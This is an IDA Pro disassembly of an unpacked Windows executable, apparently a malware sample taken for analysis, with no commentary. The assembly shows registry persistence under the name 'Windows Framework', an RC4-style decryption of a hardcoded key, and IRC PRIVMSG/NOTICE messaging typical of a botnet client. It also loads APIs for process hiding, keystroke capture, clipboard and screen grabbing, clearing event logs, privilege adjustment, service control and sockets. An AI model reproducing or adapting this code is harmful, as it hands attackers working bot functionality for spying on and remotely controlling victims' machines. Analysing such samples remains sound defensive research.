;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	FAAB09FEF341F991949E6E4B2DCE92A0

; File Name   :	u:\work\faab09fef341f991949e6e4b2dce92a0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00038000 ( 229376.)
; Section size in file		: 00038000 ( 229376.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; CODE XREF: seg000:00401074p
					; seg000:00417BE1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_43C058
		xor	esi, esi
		mov	ebx, offset aWindowsFramewo ; "Windows Framework"


loc_401013:				; CODE XREF: start+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_4514A8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AC70
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_451518
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: start+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_451458


loc_401057:				; CODE XREF: start+4Bj
		push	[ebp+var_4]
		call	ds:dword_4514D0
		add	edi, 8
		cmp	edi, offset dword_43C070
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
start		endp

; ---------------------------------------------------------------------------


loc_401070:				; CODE XREF: seg000:00401086j
		push	dword ptr [esp+4]
		call	start
		pop	ecx
		push	ds:dword_43C050
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_401070

; =============== S U B	R O U T	I N E =======================================



sub_401088	proc near		; CODE XREF: seg000:00401119p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010BD
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_4010A1:				; CODE XREF: sub_401088+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_43901C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_4010A1
		pop	edi
		pop	ebx


loc_4010BD:				; CODE XREF: sub_401088+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401088	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41AE40
		mov	dword ptr [esp], offset	dword_43C070
		push	dword ptr [esp+14h]
		mov	esi, eax
		call	sub_41D0E0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_401112


loc_4010E8:				; CODE XREF: seg000:00401110j
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_401116
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B2D0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_401112
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41CDD0
		add	esp, 10h
		jmp	short loc_4010E8
; ---------------------------------------------------------------------------


loc_401112:				; CODE XREF: seg000:004010E6j
					; seg000:004010FCj
		xor	eax, eax
		jmp	short loc_401131
; ---------------------------------------------------------------------------


loc_401116:				; CODE XREF: seg000:004010ECj
		dec	ebx
		push	ebx
		push	esi
		call	sub_401088
		push	esi
		mov	ebx, eax
		call	sub_41B8B0
		push	edi
		call	sub_41ACF0
		add	esp, 10h
		mov	eax, ebx


loc_401131:				; CODE XREF: seg000:00401114j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	sub_41AC70
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	sub_41D100
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h


loc_40123F:				; CODE XREF: seg000:00401249j
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_40123F
		cmp	[ebp+14h], ebx
		jz	short loc_40126E
		xor	eax, eax


loc_401252:				; CODE XREF: seg000:0040126Aj
		cmp	edi, [ebp+14h]
		jnz	short loc_401259
		xor	edi, edi


loc_401259:				; CODE XREF: seg000:00401255j
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_401252
		jmp	short loc_401288
; ---------------------------------------------------------------------------


loc_40126E:				; CODE XREF: seg000:0040124Ej
		xor	esi, esi


loc_401270:				; CODE XREF: seg000:00401286j
		cmp	edi, [ebp-38h]
		jnz	short loc_401277
		xor	edi, edi


loc_401277:				; CODE XREF: seg000:00401273j
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401270


loc_401288:				; CODE XREF: seg000:0040126Cj
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh


loc_401292:				; CODE XREF: seg000:004012CCj
		mov	dl, [ebp+edi-13Ch]
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		mov	bl, [ebp+ecx-13Ch]
		lea	ecx, [ebp+ecx-13Ch]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_401292
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_40132A


loc_4012DB:				; CODE XREF: seg000:00401328j
		inc	edi
		and	edi, eax
		mov	dl, [ebp+edi-13Ch]
		lea	ecx, [ebp+edi-13Ch]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	bl, [ebp+esi-13Ch]
		mov	[ebp+14h], esi
		mov	[ecx], bl
		lea	esi, [ebp+esi-13Ch]
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012DB


loc_40132A:				; CODE XREF: seg000:004012D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40132F	proc near		; DATA XREF: seg000:00402724o

var_2B4		= dword	ptr -2B4h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_4523C4
		call	ds:dword_451588
		call	sub_408F08
		call	ds:dword_45144C
		call	ds:dword_45144C
		mov	ebx, ds:dword_4F12F4
		push	64h
		call	ebx ; dword_4F12F4
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41D100
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_4513B0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 3D0000h
		stosd
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 3D0000h
		mov	ebx, 50F0458Dh
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 3D0000h
		inc	ebx
		test	eax, eax
		jz	short loc_4013F4
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:dword_4F12FC
		call	esi ; dword_4F12FC
		push	[ebp+var_C]
		call	esi ; dword_4F12FC


loc_4013F4:				; CODE XREF: sub_40132F+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4513A8
		mov	eax, [esp+2B4h+var_2B4]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_4F12F8	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
sub_40132F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401417	proc near		; CODE XREF: sub_402EAE+3Dp
					; seg000:004031E8p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41D160
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451540
		leave
		retn
sub_401417	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40145D	proc near		; CODE XREF: sub_40216A+40p
					; sub_40216A+74p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_401478
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_401478:				; CODE XREF: sub_40145D+14j
		push	edi
		call	sub_41AC70
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AC70
		push	[ebp+arg_8]
		sub	esi, eax


loc_401492:				; DATA XREF: seg002:off_445F7Co
		lea	eax, [ebp+var_400]
		push	offset aS	; "%s"
		push	esi
		push	eax
		call	sub_41D360
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_41D260
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451540
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi


loc_4014E9:				; DATA XREF: seg002:00446A28o
					; seg002:00446A38o
		jz	short locret_4014F6
		push	7D0h
		call	ds:dword_4F12F4	; Sleep

locret_4014F6:				; CODE XREF: sub_40145D:loc_4014E9j
		leave
		retn
sub_40145D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4014F8	proc near		; CODE XREF: seg000:0040275Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4F1318
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp ; dword_4F1318
		mov	esi, ds:dword_4F1314
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_401618
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_4F1314
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_45159C, eax
		call	esi ; dword_4F1314
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_451514, eax
		call	esi ; dword_4F1314
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_4514F8, eax
		call	esi ; dword_4F1314
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_45140C, eax
		call	esi ; dword_4F1314
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_4513B8, eax
		call	esi ; dword_4F1314
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_4513E8, eax
		call	esi ; dword_4F1314
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_45145C, eax
		call	esi ; dword_4F1314
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_451550, eax
		call	esi ; dword_4F1314
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_4515AC, eax
		call	esi ; dword_4F1314
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_451418, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_45159C, ebx
		mov	ds:dword_451400, eax
		jz	short loc_4015F6
		cmp	ds:dword_451514, ebx
		jz	short loc_4015F6
		cmp	ds:dword_4514F8, ebx
		jz	short loc_4015F6
		cmp	ds:dword_45140C, ebx
		jz	short loc_4015F6
		cmp	ds:dword_4513E8, ebx
		jz	short loc_4015F6
		cmp	ds:dword_45145C, ebx
		jz	short loc_4015F6
		cmp	ds:dword_451550, ebx
		jz	short loc_4015F6
		cmp	ds:dword_4515AC, ebx
		jz	short loc_4015F6
		cmp	ds:dword_451418, ebx
		jz	short loc_4015F6
		cmp	eax, ebx
		jnz	short loc_401600


loc_4015F6:				; CODE XREF: sub_4014F8+B8j
					; sub_4014F8+C0j ...
		mov	ds:dword_4515B0, 1


loc_401600:				; CODE XREF: sub_4014F8+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi ; dword_4F1314
		cmp	eax, ebx
		mov	ds:dword_451528, eax
		jz	short loc_40162D
		push	1
		push	ebx
		call	eax
		jmp	short loc_40162D
; ---------------------------------------------------------------------------


loc_401618:				; CODE XREF: sub_4014F8+1Dj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515B4, eax
		mov	ds:dword_4515B0, 1


loc_40162D:				; CODE XREF: sub_4014F8+117j
					; sub_4014F8+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4F130C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401742
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi ; dword_4F1314
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_45154C, eax
		call	esi ; dword_4F1314
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_451500, eax
		call	esi ; dword_4F1314
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_451494, eax
		call	esi ; dword_4F1314
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_4515A0, eax
		call	esi ; dword_4F1314
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_4514C4, eax
		call	esi ; dword_4F1314
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_4514E4, eax
		call	esi ; dword_4F1314
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_451544, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_45154C, ebx
		mov	ds:dword_451438, eax
		jz	short loc_4016E6
		cmp	ds:dword_451500, ebx
		jz	short loc_4016E6
		cmp	ds:dword_451494, ebx
		jz	short loc_4016E6
		cmp	ds:dword_4515A0, ebx
		jz	short loc_4016E6
		cmp	ds:dword_4514C4, ebx
		jz	short loc_4016E6
		cmp	ds:dword_4514E4, ebx
		jz	short loc_4016E6
		cmp	ds:dword_451544, ebx
		jz	short loc_4016E6
		cmp	eax, ebx
		jnz	short loc_4016F0


loc_4016E6:				; CODE XREF: sub_4014F8+1B8j
					; sub_4014F8+1C0j ...
		mov	ds:dword_4515B8, 1


loc_4016F0:				; CODE XREF: sub_4014F8+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; dword_4F1314
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_4514C0, eax
		call	esi ; dword_4F1314
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_4513CC, eax
		call	esi ; dword_4F1314
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_451490, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_4514C0, ebx
		mov	ds:dword_451478, eax
		jz	short loc_40174D
		cmp	ds:dword_4513CC, ebx
		jz	short loc_40174D
		cmp	ds:dword_451490, ebx
		jz	short loc_40174D
		cmp	eax, ebx
		jnz	short loc_401757
		jmp	short loc_40174D
; ---------------------------------------------------------------------------


loc_401742:				; CODE XREF: sub_4014F8+144j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515BC, eax


loc_40174D:				; CODE XREF: sub_4014F8+232j
					; sub_4014F8+23Aj ...
		mov	ds:dword_4515B8, 1


loc_401757:				; CODE XREF: sub_4014F8+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_4F1318
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401910
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_4F1314
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_451560, eax
		call	esi ; dword_4F1314
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_4514A8, eax
		call	esi ; dword_4F1314
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_451518, eax
		call	esi ; dword_4F1314
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_4513F8, eax
		call	esi ; dword_4F1314
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_451458, eax
		call	esi ; dword_4F1314
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	ds:dword_4514D0, eax
		call	esi ; dword_4F1314
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	ds:dword_451474, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_451560, ebx
		mov	ds:dword_451484, eax
		jz	short loc_401800
		cmp	ds:dword_4514A8, ebx
		jz	short loc_401800
		cmp	ds:dword_451518, ebx
		jz	short loc_401800
		cmp	ds:dword_4513F8, ebx
		jz	short loc_401800
		cmp	ds:dword_451458, ebx
		jz	short loc_401800
		cmp	ds:dword_4514D0, ebx
		jnz	short loc_40180A


loc_401800:				; CODE XREF: sub_4014F8+2DEj
					; sub_4014F8+2E6j ...
		mov	ds:dword_4515C0, 1


loc_40180A:				; CODE XREF: sub_4014F8+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; dword_4F1314
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_4514D8, eax
		call	esi ; dword_4F1314
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_4514B0, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_4514D8, ebx
		mov	ds:dword_45155C, eax
		jz	short loc_401845
		cmp	ds:dword_4514B0, ebx
		jz	short loc_401845
		cmp	eax, ebx
		jnz	short loc_40184F


loc_401845:				; CODE XREF: sub_4014F8+33Fj
					; sub_4014F8+347j
		mov	ds:dword_4515C0, 1


loc_40184F:				; CODE XREF: sub_4014F8+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_4F1314
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_4514E8, eax
		call	esi ; dword_4F1314
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_4513D4, eax
		call	esi ; dword_4F1314
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_4513DC, eax
		call	esi ; dword_4F1314
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_451440, eax
		call	esi ; dword_4F1314
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_451444, eax
		call	esi ; dword_4F1314
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_4513F0, eax
		call	esi ; dword_4F1314
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_4514B4, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_4514E8, ebx
		mov	ds:dword_4513E0, eax
		jz	short loc_4018F3
		cmp	ds:dword_4513D4, ebx
		jz	short loc_4018F3
		cmp	ds:dword_4513DC, ebx
		jz	short loc_4018F3
		cmp	ds:dword_451440, ebx
		jz	short loc_4018F3
		cmp	ds:dword_451444, ebx
		jz	short loc_4018F3
		cmp	ds:dword_4513F0, ebx
		jz	short loc_4018F3
		cmp	ds:dword_4514B4, ebx
		jz	short loc_4018F3
		cmp	eax, ebx
		jnz	short loc_4018FD


loc_4018F3:				; CODE XREF: sub_4014F8+3C5j
					; sub_4014F8+3CDj ...
		mov	ds:dword_4515C0, 1


loc_4018FD:				; CODE XREF: sub_4014F8+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_4F1314
		cmp	eax, ebx
		mov	ds:dword_4513D8, eax
		jnz	short loc_401925
		jmp	short loc_40191B
; ---------------------------------------------------------------------------


loc_401910:				; CODE XREF: sub_4014F8+26Aj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515C4, eax


loc_40191B:				; CODE XREF: sub_4014F8+416j
		mov	ds:dword_4515C0, 1


loc_401925:				; CODE XREF: sub_4014F8+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; dword_4F1318
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4019F1
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; dword_4F1314
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_4514E0, eax
		call	esi ; dword_4F1314
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_451534, eax
		call	esi ; dword_4F1314
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_45153C, eax
		call	esi ; dword_4F1314
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_4514FC, eax
		call	esi ; dword_4F1314
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_45141C, eax
		call	esi ; dword_4F1314
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_4513C8, eax
		call	esi ; dword_4F1314
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_451538, eax
		call	esi ; dword_4F1314
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_4513B4, eax
		call	esi ; dword_4F1314
		cmp	ds:dword_4514E0, ebx
		mov	ds:dword_451450, eax
		jz	short loc_4019FC
		cmp	ds:dword_451534, ebx
		jz	short loc_4019FC
		cmp	ds:dword_45153C, ebx
		jz	short loc_4019FC
		cmp	ds:dword_4514FC, ebx
		jz	short loc_4019FC
		cmp	ds:dword_45141C, ebx
		jz	short loc_4019FC
		cmp	ds:dword_4513C8, ebx
		jz	short loc_4019FC
		cmp	ds:dword_451538, ebx
		jz	short loc_4019FC
		cmp	ds:dword_4513B4, ebx
		jz	short loc_4019FC
		cmp	eax, ebx
		jnz	short loc_401A06
		jmp	short loc_4019FC
; ---------------------------------------------------------------------------


loc_4019F1:				; CODE XREF: sub_4014F8+438j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	ds:dword_4515CC, eax


loc_4019FC:				; CODE XREF: sub_4014F8+4B9j
					; sub_4014F8+4C1j ...
		mov	ds:dword_4515C8, 1


loc_401A06:				; CODE XREF: sub_4014F8+4F5j
		mov	ebp, ds:dword_4F130C
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_4F130C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_401CC2
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_4F1314
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_451464, eax
		call	esi ; dword_4F1314
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_451594, eax
		call	esi ; dword_4F1314
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_451408, eax
		call	esi ; dword_4F1314
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_4513E4, eax
		call	esi ; dword_4F1314
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_4514A0, eax
		call	esi ; dword_4F1314
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_451488, eax
		call	esi ; dword_4F1314
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_45144C, eax
		call	esi ; dword_4F1314
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_451570, eax
		call	esi ; dword_4F1314
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_45158C, eax
		call	esi ; dword_4F1314
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_45149C, eax
		call	esi ; dword_4F1314
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_45157C, eax
		call	esi ; dword_4F1314
		push	offset aHtons	; "htons"
		push	edi
